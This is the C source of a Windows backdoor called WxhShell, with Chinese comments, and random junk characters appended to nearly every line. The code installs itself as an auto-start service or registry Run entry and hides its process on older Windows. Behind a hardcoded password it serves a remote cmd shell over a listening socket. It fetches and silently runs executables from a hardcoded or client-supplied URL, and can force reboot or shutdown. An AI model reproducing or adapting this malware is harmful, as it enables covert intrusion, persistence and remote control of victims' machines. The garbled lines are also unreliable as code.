    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]]y[t|6  
    if(Boot(SHUTDOWN)) ^ZVO ql&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^A#x<J+  
    else { vZk9gGjk  
    closesocket(wsh); {(0Id!  
    ExitThread(0); ?(Bl~?zD  
    } +{*)}[w{x  
    break; I>hmbBlDv  
    } /.@x 4cdS  
  // 获取shell zq=&4afOE  
  case 's': { 2Fq=jOA)z$  
    CmdShell(wsh); 2@ *<9-9  
    closesocket(wsh); f1\7vEE,  
    ExitThread(0); Gh iHA9.  
    break; y#e ?iE@  
  } %I}'Vb{C  
  // 退出 %mL5+d-oP  
  case 'x': { 2-7Z(7G{ F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c/RT0xql*  
    CloseIt(wsh); 3P`WPph  
    break; //tT8HX  
    } z L8J`W  
  // 离开 ogp{rY  
  case 'q': { )w3 ,   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rdj8 *f  
    closesocket(wsh); -)>(8f  
    WSACleanup(); :mn(0 R~  
    exit(1); jm+ blB^%K  
    break; bq: [Nj  
        } *?p ^6vO  
  } "]<w x_!+}  
  } W[fT R?n  
Nuo^+z E   
  // 提示信息 XJ O[[G`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s!aO*\[<h  
} 7|{ B#  
  } qL,ka  
ETxp# PZ  
  return; `ReGnT[  
} 3jXR"@Z-  
G"{4'LlA  
// shell模块句柄 TqXg e{r  
int CmdShell(SOCKET sock) G~S))p  
{ 7oD y7nV4  
STARTUPINFO si; {hM"TO7\  
ZeroMemory(&si,sizeof(si)); Ca X^)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9QC< E|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ygMd$0:MN  
PROCESS_INFORMATION ProcessInfo; D$QGLI9(  
char cmdline[]="cmd"; ~Po\ En  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2G ZF/9}  
  return 0; 4`$5 _} j!  
} We\KDU\n  
C0gfJ~M )  
// 自身启动模式 z}iSq$  
int StartFromService(void) ~m!#FTc*  
{ p?}f|mQS)  
typedef struct t?KUK>>w  
{ 6={IMkmA  
  DWORD ExitStatus; bB y'v/  
  DWORD PebBaseAddress; !;TR2Zcn  
  DWORD AffinityMask; tc"T}huypU  
  DWORD BasePriority; EG%I1F%  
  ULONG UniqueProcessId; =[s8q2V  
  ULONG InheritedFromUniqueProcessId; 0h^uOA; c  
}   PROCESS_BASIC_INFORMATION; (Z5q&#f  
93 [rL+l.Y  
PROCNTQSIP NtQueryInformationProcess; $|rCrak;  
Ob7zu"zr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oN_S}o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AbL5 !'  
%B[YtWqm`/  
  HANDLE             hProcess; BQ).`f";d  
  PROCESS_BASIC_INFORMATION pbi; >y]?MGk  
H3!,d`D.N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jMTRcj];(  
  if(NULL == hInst ) return 0; cZ6?P`X  
<_=JMA5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Wjd-rzc,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {F<)z% ^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \)FeuLGL9  
f#*h^91x  
  if (!NtQueryInformationProcess) return 0; Jw2B&)k/  
k&WUv0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ii|uGxEc  
  if(!hProcess) return 0; (}9cD^F0n  
lt }r}HM+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :uOZjEZi  
qsD?dHi7  
  CloseHandle(hProcess); mfj4`3:NV  
g7 .7E6%H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >_rzT9gX&  
if(hProcess==NULL) return 0; UAnB=L,.\  
W/#KX}4  
HMODULE hMod; PthId aN@  
char procName[255]; QIR4<]/  
unsigned long cbNeeded; KK@ &q  
3"^a rK^N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O]c=Yyl  
`Af{H/qiI  
  CloseHandle(hProcess); elN{7:  
NYWG#4D  
if(strstr(procName,"services")) return 1; // 以服务启动 }rO?5  
N!tpzHXw  
  return 0; // 注册表启动 A M>Yj  
} aQz|!8Is  
TX< e_[$\  
// 主模块 O<}ep)mr  
int StartWxhshell(LPSTR lpCmdLine) 'CP/ymf/a  
{ 4JX`>a{<  
  SOCKET wsl; | \ s2  
BOOL val=TRUE; (%``EIc<8  
  int port=0; v_y!Oh?EG  
  struct sockaddr_in door; QH@Q\ @,  
ygmv_YLjm  
  if(wscfg.ws_autoins) Install(); -9=M9}eDF  
]jHh7> D  
port=atoi(lpCmdLine); BP)q6?Mz  
<C7M";54-  
if(port<=0) port=wscfg.ws_port; kvMk:.  
tQNk=}VR7r  
  WSADATA data; h Jfa_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q'n(^tbL  
/#S4espE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nrab*K(][  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -X"5G  
  door.sin_family = AF_INET; ib5;f0Qa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t_[M &  
  door.sin_port = htons(port); Jngll  
_n-VgPRn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {] t\`fjrg  
closesocket(wsl); ,!o\),N  
return 1; ?z\q Mu  
} ;n(#b8r9  
!Z<mrr;T@  
  if(listen(wsl,2) == INVALID_SOCKET) { &+)+5z_d  
closesocket(wsl); /3CHE8nSh  
return 1; 9 _M H  
} N<#S3B?.  
  Wxhshell(wsl); Nz(c"3T;  
  WSACleanup(); 9[epr+f  
.4S^nP  
return 0; 9IS1.3  
?$"x^=te7  
} LY@1@O2@  
]y1$F Ir+  
// 以NT服务方式启动 _~X8/p/Qh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B)j`}7O 06  
{ 8]cv&d1f  
DWORD   status = 0; VTy,43<  
  DWORD   specificError = 0xfffffff; HMEs8.  
/t$+Af,}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %5Q7#xU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .c=$ bQ>^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Ewy^;S%L  
  serviceStatus.dwWin32ExitCode     = 0; )1ZJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Yaf\Hp  
  serviceStatus.dwCheckPoint       = 0; Ct =E;v7}  
  serviceStatus.dwWaitHint       = 0; >\6jb&,%O  
ct2_N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p"hm.=,  
  if (hServiceStatusHandle==0) return; @!L@UP0  
C&gOA8nf  
status = GetLastError(); 7':5  
  if (status!=NO_ERROR) ?YkO+?}+  
{ N27K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _H^^2#wc/  
    serviceStatus.dwCheckPoint       = 0; $4$?M[  
    serviceStatus.dwWaitHint       = 0; A:8FJ3'  
    serviceStatus.dwWin32ExitCode     = status; \28b_,i+  
    serviceStatus.dwServiceSpecificExitCode = specificError; SxLHFN]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ??$i*  
    return; )9A<fwpN  
  } .v #0cQX+.  
WV,?Ge  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4AJu2Hp  
  serviceStatus.dwCheckPoint       = 0; =#POMK".6  
  serviceStatus.dwWaitHint       = 0; tKs4}vW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h|c:!VN@  
} UijuJ(Tle  
T9<H%iF  
// 处理NT服务事件,比如:启动、停止 DiGUxnP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q^jqLT&w  
{ Sq?6R}q%  
switch(fdwControl) C$2o o@  
{ EvH(Po h  
case SERVICE_CONTROL_STOP: ' F 6au[  
  serviceStatus.dwWin32ExitCode = 0; 0f=N3)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G +nY}c  
  serviceStatus.dwCheckPoint   = 0; 3-9J "d !  
  serviceStatus.dwWaitHint     = 0; N) V7yo?  
  { JX2 |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v:J.d5  
  } ?VOs:sln  
  return; 35@Ibe~  
case SERVICE_CONTROL_PAUSE: `3>)BV<P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YVZSKU  
  break; QX.F1T 2e?  
case SERVICE_CONTROL_CONTINUE: My6]k?;}(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gk_Xu  
  break; Tl/Dq(8JH  
case SERVICE_CONTROL_INTERROGATE: G5XnGl }Q  
  break; [hv3o0".  
}; 0\_R|i_`>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <-oRhi4  
} .U(SkZ`6  
{C0OrO2:  
// 标准应用程序主函数 v0jz)z<#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EbwZZSds1  
{ p-(ADQS  
9V4V}[%  
// 获取操作系统版本 Z#cU#)`y1  
OsIsNt=GetOsVer(); )Ido|!]0d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +DV6oh  
2h? r![  
  // 从命令行安装 <,]CVo  
  if(strpbrk(lpCmdLine,"iI")) Install(); g!kRa.`u1  
{</$ObK  
  // 下载执行文件 kAQ\t?`x  
if(wscfg.ws_downexe) { <GFB'`L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KxTYc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8Jy1=R*S  
} iDkWW  
%ucmJ-< y#  
if(!OsIsNt) { aab4c^Ms=  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q]?J%P.  
HideProc(); A'AWuj\r2R  
StartWxhshell(lpCmdLine); 2DBFXhP  
} k s`  
else JpHsQ8<  
  if(StartFromService()) r`E1<aCr|  
  // 以服务方式启动 1.d9{LO[-  
  StartServiceCtrlDispatcher(DispatchTable); :c/=fWM%  
else ThQEQ6y  
  // 普通方式启动 +uGP(ONY  
  StartWxhshell(lpCmdLine); fvBC9^3  
fN%5D z-e  
return 0; "?0 G^zu  
} Ug'nr  
tIy/QN_42  
H2_>Av{m  
xg5@;p  
=========================================== +5}T!r  
ZxeE6&#M^w  
^l2d?v8  
j 8AR#  
X1z0'gvh  
-8kW!F  
" 8}`8lOE7  
mS;Q8Crh  
#include <stdio.h> 1#_j6 Q2  
#include <string.h> 6o23#JgN  
#include <windows.h> p`.fYW:p  
#include <winsock2.h> ~S{\wL53  
#include <winsvc.h> 9oN'.H^  
#include <urlmon.h> o|n0?bThS-  
a|{<#<6n(  
#pragma comment (lib, "Ws2_32.lib") @:&dOqQ  
#pragma comment (lib, "urlmon.lib") YZtA:>;p  
[&k k  
#define MAX_USER   100 // 最大客户端连接数 Us~wv"L=UX  
#define BUF_SOCK   200 // sock buffer LzSusjEW@  
#define KEY_BUFF   255 // 输入 buffer ^ J@i7FOb  
DmA!+  
#define REBOOT     0   // 重启 NP`ll0s  
#define SHUTDOWN   1   // 关机 >oYwzK0&  
Vw@x  
#define DEF_PORT   5000 // 监听端口 bD[W~ku  
mpJ_VS`  
#define REG_LEN     16   // 注册表键长度 5*'N Q010  
#define SVC_LEN     80   // NT服务名长度 NW Qu-]P  
_BaS\U%1(  
// 从dll定义API 6C}Z1lZl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *jSc&{s~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R2f,a*>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hUvH t+d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]-OkW.8d1  
0`zq*OQ  
// wxhshell配置信息 J-?(sjIX  
struct WSCFG { l zkn B  
  int ws_port;         // 监听端口 <[??\YOc  
  char ws_passstr[REG_LEN]; // 口令 j-E>*N}-_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4nXS9RiF2  
  char ws_regname[REG_LEN]; // 注册表键名 #yxYL0CcA:  
  char ws_svcname[REG_LEN]; // 服务名 v333z<<S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z'M@DY/fdK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QZP;k!"w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9:5NX3"p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =v"{EmT[$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }i~j"m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .b)(_*  
)Em,3I/.l  
}; AMfu|%ZL  
#Jb$AA! z  
// default Wxhshell configuration r{;4(3E2  
struct WSCFG wscfg={DEF_PORT, O/@[VPf  
    "xuhuanlingzhe", o?8j *]  
    1, ;!Bkk9r"H  
    "Wxhshell", ;:1mv  
    "Wxhshell", j0M;2 3@[  
            "WxhShell Service", 1 SZa\ ][@  
    "Wrsky Windows CmdShell Service", q@> m~R  
    "Please Input Your Password: ", 7:<>#  
  1, l/M+JT~R  
  "http://www.wrsky.com/wxhshell.exe", #r}c<?>Vw  
  "Wxhshell.exe" x&p=vUuukP  
    }; (#BA{9T,^  
3F3?be  
// 消息定义模块 Lj\<qF~n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $nN$"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GQ8P}McA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !qq@F%tv  
char *msg_ws_ext="\n\rExit."; jlZNANR3  
char *msg_ws_end="\n\rQuit."; Q5ao2-\   
char *msg_ws_boot="\n\rReboot..."; (ZJ_&8C#  
char *msg_ws_poff="\n\rShutdown..."; 93,ExgFt  
char *msg_ws_down="\n\rSave to "; AS ul  
s=+G%B'  
char *msg_ws_err="\n\rErr!"; Y6Q6--P  
char *msg_ws_ok="\n\rOK!"; X} 8U-N6)  
]|(?i ,p  
char ExeFile[MAX_PATH]; U[u6UG  
int nUser = 0; U)6JJv  
HANDLE handles[MAX_USER]; \:S8mDI^s  
int OsIsNt; S([De"y  
>n62csO  
SERVICE_STATUS       serviceStatus; l0V@19Ec  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =X):Zi   
#/6X44 *u  
// 函数声明 zyE yZc?  
int Install(void); uNDkK o<M  
int Uninstall(void); _\zf XHp  
int DownloadFile(char *sURL, SOCKET wsh); L M[<?`%p  
int Boot(int flag); 'rgV]Oy  
void HideProc(void); hR2.w/2j  
int GetOsVer(void); eX/$[SL[  
int Wxhshell(SOCKET wsl); k5/}S@F8  
void TalkWithClient(void *cs); "`wq:$R  
int CmdShell(SOCKET sock); /:)4tIV  
int StartFromService(void); +iR ;D$w  
int StartWxhshell(LPSTR lpCmdLine); *BV .zbGm  
?T"crX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =v}.sJ V?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gy5W;,$q  
'_%Jw:4k  
// 数据结构和表定义 fr7/%{s  
SERVICE_TABLE_ENTRY DispatchTable[] = H+Wd#7l,  
{ X,b} d#\  
{wscfg.ws_svcname, NTServiceMain}, >=(e}~5y  
{NULL, NULL} g  YZgo  
};  S_atEmQ  
!E8JpE|z#  
// 自我安装 3ml|`S  
int Install(void) VI4d/2e  
{ ) )Nc|`  
  char svExeFile[MAX_PATH]; {>qCZ#E5WO  
  HKEY key; 5VN4A<))  
  strcpy(svExeFile,ExeFile); l#Tm`br  
w K+2;*bI  
// 如果是win9x系统,修改注册表设为自启动 * HVO  
if(!OsIsNt) { TFhj]r^ {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.)-aRu[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -p 1arA  
  RegCloseKey(key); sC$X7h(Q+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %2{E'^#)p-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kF5}S8B  
  RegCloseKey(key); X$aMf &x  
  return 0; ;Mc}If*  
    } Mm5l>D'c  
  } mnePm{  
} Ldu!uihx  
else { !(]|!F[m  
aCanDMcBnq  
// 如果是NT以上系统,安装为系统服务 F-nt7l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a7Jr} "B  
if (schSCManager!=0) FR&RIFy  
{ nD_g84us  
  SC_HANDLE schService = CreateService 9H<:\-:  
  ( t :_7 O7  
  schSCManager, *?uF&( 0  
  wscfg.ws_svcname, uGv+c.~[j  
  wscfg.ws_svcdisp, </fnbyGR  
  SERVICE_ALL_ACCESS, \l:n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {Hb _o)S  
  SERVICE_AUTO_START, lfhB2^ ^  
  SERVICE_ERROR_NORMAL, `s+qz  
  svExeFile, 2`z+_DA  
  NULL,  j>6{PDaT  
  NULL, HdGy$m`  
  NULL, .RT5sj\d  
  NULL, a; "+Py  
  NULL 5=dg4"b]  
  ); :( `Q4D~l  
  if (schService!=0) {\%x{  
  { p%?R;W`u2  
  CloseServiceHandle(schService); +"C0de|-  
  CloseServiceHandle(schSCManager); `a J[ !O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6 2LZ}yn_"  
  strcat(svExeFile,wscfg.ws_svcname); &W ~,q(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {30A1>0#P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h7*m+/O  
  RegCloseKey(key); ie_wJ=s  
  return 0; A_[65'*b  
    } n>@(gDq  
  } 3A+d8fwi  
  CloseServiceHandle(schSCManager); q H+~rj  
} Q{>{ e3z}  
} $GcVC (]  
4Fnr8 r8W  
return 1; (j'[t  
} -JcfP+{wS  
O=yUA AD$  
// 自我卸载 rc"Z$qU?  
int Uninstall(void) 5VISP4a  
{ j/9'L^]  
  HKEY key; . [C ~a  
gHTo|2 Q{  
if(!OsIsNt) { zW\&q!`IRP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P2lj#aQLS  
  RegDeleteValue(key,wscfg.ws_regname); c(@)V.o2  
  RegCloseKey(key); .~Td /o7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VG)kPKoi  
  RegDeleteValue(key,wscfg.ws_regname); 7ZN0_Q s  
  RegCloseKey(key); rtOXK4)]I  
  return 0; B[8  
  } EKgTRRW  
} Iz VtiX  
} OJ&~uV>2  
else { h_H$+!Nzb  
^f@EDG8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hH%@8'1v  
if (schSCManager!=0) X+iUT  
{ V,lz}&3L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uP<tP:  
  if (schService!=0) *;Sj&O  
  { bKiV<&Z5d  
  if(DeleteService(schService)!=0) { ]x?`&f8i  
  CloseServiceHandle(schService); B!6?+< J"  
  CloseServiceHandle(schSCManager); H htAD Y  
  return 0; 81`-xVd  
  } TTu<~GH  
  CloseServiceHandle(schService); iku) otUc  
  } fsb_*sh&  
  CloseServiceHandle(schSCManager); L-vy,[9)[*  
} :Fu.S1j$  
} |h4aJv  
K8f;AK  
return 1; 6Xbo:#  
} ?o?~Df&  
=UT*1-yh R  
// 从指定url下载文件 }GRZCX>  
int DownloadFile(char *sURL, SOCKET wsh) p78X,44xg  
{ U TC|8  
  HRESULT hr; CWHTDao  
char seps[]= "/"; oYI7 .w  
char *token; dJ#mk5= "  
char *file; .Xqe]cax%  
char myURL[MAX_PATH]; h`;w/+/Zr  
char myFILE[MAX_PATH]; V]&0"HX2r!  
$GB/}$fd&  
strcpy(myURL,sURL); x(ue |UG  
  token=strtok(myURL,seps); G&y< lh  
  while(token!=NULL) {d|e@`"T  
  { W^v3pH-y#  
    file=token; ;Hk{bz(  
  token=strtok(NULL,seps); lpi^<LQ@l  
  } g 67;O(3  
sT ]JDC6  
GetCurrentDirectory(MAX_PATH,myFILE); INt]OPD  
strcat(myFILE, "\\"); gn4+$f~w  
strcat(myFILE, file); bVO{,P2 o  
  send(wsh,myFILE,strlen(myFILE),0); C3>&O?7J*7  
send(wsh,"...",3,0); dTcrJ|/Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K8,Q^!5]"  
  if(hr==S_OK) ROqz$yY  
return 0; i-Er|u; W  
else tX)l_ ?jVH  
return 1; J$"3w,O6+U  
X2\1OWR0  
} \k&2nYVHf  
8725ET t  
// 系统电源模块 &BxDS .  
int Boot(int flag) ))ArM-02  
{ ~FCkr&Ky3  
  HANDLE hToken; 5\S s`#g  
  TOKEN_PRIVILEGES tkp; GP<PU  
[C@ |q Ah  
  if(OsIsNt) { 9eR4?^(3!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pnl+.?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (+aU,EQ  
    tkp.PrivilegeCount = 1; Q^trKw~XNy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v_G1YC7TU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z/G`8|A  
if(flag==REBOOT) { z.Y`"B'j`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3:wN^!A}ve  
  return 0; D[i?T3i  
} [a201I0 -  
else { %7}ibz4iF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {#U 3A_y  
  return 0; Ar{7H)V:  
} !a9`]c  
  } y) .dw(  
  else { +%sMd]$,n  
if(flag==REBOOT) { ]Y;5U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y\?NB:=%  
  return 0; KATu7)e&~^  
} Ie"eqO!  
else { x u<oQBt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (baBi9<P=  
  return 0; K6Z/  
} 0+{CN|0  
} Yx[B*] 2  
;M<R e  
return 1; Fswr @du  
} XP%/*am  
<rI8O;\H  
// win9x进程隐藏模块  -^ceTzW+  
void HideProc(void) /< -+*79G  
{ c9O0YQ3&8  
;Z6ngS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q ym=L(X  
  if ( hKernel != NULL ) uz;zmK  
  { ]5a,%*f+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^~` t q+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PN"SBsc*j-  
    FreeLibrary(hKernel); 9f #6Q*/  
  } >(He,o@M  
%X -G(Z  
return; HDHC9E6  
} )(V!& w6  
\Z8:^ct.P  
// 获取操作系统版本 Y^2]*e%  
int GetOsVer(void) x5(B(V@b  
{ |2!cPf^8  
  OSVERSIONINFO winfo; v5A8"&Jr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?#gYu %7DN  
  GetVersionEx(&winfo); !SAR/sdXf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fI }v}L^  
  return 1; l<-0@(x)  
  else >5MHn@  
  return 0; +Z/aB*aVa^  
} OM (D@up  
!Ct'H1J-  
// 客户端句柄模块 D<J, 3(Yu  
int Wxhshell(SOCKET wsl) VRA0p[  
{ + 0 |d2_]E  
  SOCKET wsh; Om5+j:YM  
  struct sockaddr_in client; "yf#sEabV  
  DWORD myID; 8)V6yKGO  
9-hVlQ~|  
  while(nUser<MAX_USER) ?bw1zYP  
{ s5&v~I;>e  
  int nSize=sizeof(client); )uazB!X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |m>{< :  
  if(wsh==INVALID_SOCKET) return 1; Af XlV-v  
[`U9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ByivV2qd{  
if(handles[nUser]==0) K!qV82b='{  
  closesocket(wsh); A5kz(pj  
else q%hxU.h  
  nUser++; o06vC  
  } 'w`3( ':=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UlH;0P?  
~O~R,h>  
  return 0; p?Jx2(%m  
} "2>_eZ#b  
:FWo,fq?:{  
// 关闭 socket a9niXy}a(  
void CloseIt(SOCKET wsh) egh_1Wg2a  
{ We:b1sZR  
closesocket(wsh); %bZ}vJ5b  
nUser--; R^=[D#*]>  
ExitThread(0); 'G8.)eTA'  
} 6+ C7vG`  
|iGfWJ^+  
// 客户端请求句柄 u ioBI d  
void TalkWithClient(void *cs) D>m!R[!o  
{ |^T?5=&Kt  
Ika(ip#]=  
  SOCKET wsh=(SOCKET)cs; Fpckb18}(O  
  char pwd[SVC_LEN]; 6R';[um?q  
  char cmd[KEY_BUFF]; V^E.9fs,  
char chr[1]; _H)>U[  
int i,j; r0fEW9wL  
KQ2jeJ/pj  
  while (nUser < MAX_USER) { } 0x'm  
>'e(|P4  
if(wscfg.ws_passstr) { pqnZ:'V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q}MPl2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #b5V/)K  
  //ZeroMemory(pwd,KEY_BUFF); OM 4, Sevk  
      i=0; !/wR[`s9w  
  while(i<SVC_LEN) { JsyLWv@6xa  
\A=:6R%Qb  
  // 设置超时 \&. ]!!Q  
  fd_set FdRead; 6y}|IhX?z  
  struct timeval TimeOut; @-G^Jm9~\m  
  FD_ZERO(&FdRead); EH~XN9b  
  FD_SET(wsh,&FdRead); iR6w)  
  TimeOut.tv_sec=8; \SQwIM   
  TimeOut.tv_usec=0; |Y|gT*v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5fDnr&DR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NZ=`iA8)X  
&(t/4)IZox  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :$?^ID  
  pwd=chr[0]; < rqFBq 8  
  if(chr[0]==0xd || chr[0]==0xa) { ncCgc5uP  
  pwd=0; > nOU 8  
  break; OD`?BM  
  } Ql.abU  
  i++; wR*>9LjeG  
    } +`s%-}-r  
C)8>_PY[M  
  // 如果是非法用户,关闭 socket 568qdD`PS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {B,r  
} :UDT! 5FNO  
[mJmT->  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Uv/#"r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w] =q>p  
hA!kkNqV  
while(1) { w!N?:}P<N  
u[;,~eB%w  
  ZeroMemory(cmd,KEY_BUFF); %}0B7_6B+@  
GfMCHs   
      // 自动支持客户端 telnet标准   ne (zGJd  
  j=0; { i2QLS  
  while(j<KEY_BUFF) { `7mRUDz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cTQ]0<9:e  
  cmd[j]=chr[0]; S#wy+*  
  if(chr[0]==0xa || chr[0]==0xd) { "0edk"hk  
  cmd[j]=0; H@%Y"iIUP  
  break; vl67Xtk4  
  } jJOs`'~Q\  
  j++; j|/4V  
    } p3R: 3E6p  
QaYUcma~n  
  // 下载文件 4Cn% h)w  
  if(strstr(cmd,"http://")) { zIE{U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Fd`M To  
  if(DownloadFile(cmd,wsh)) ?cRGdLP'D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i`hr'}x  
  else Sq Y$\&%  
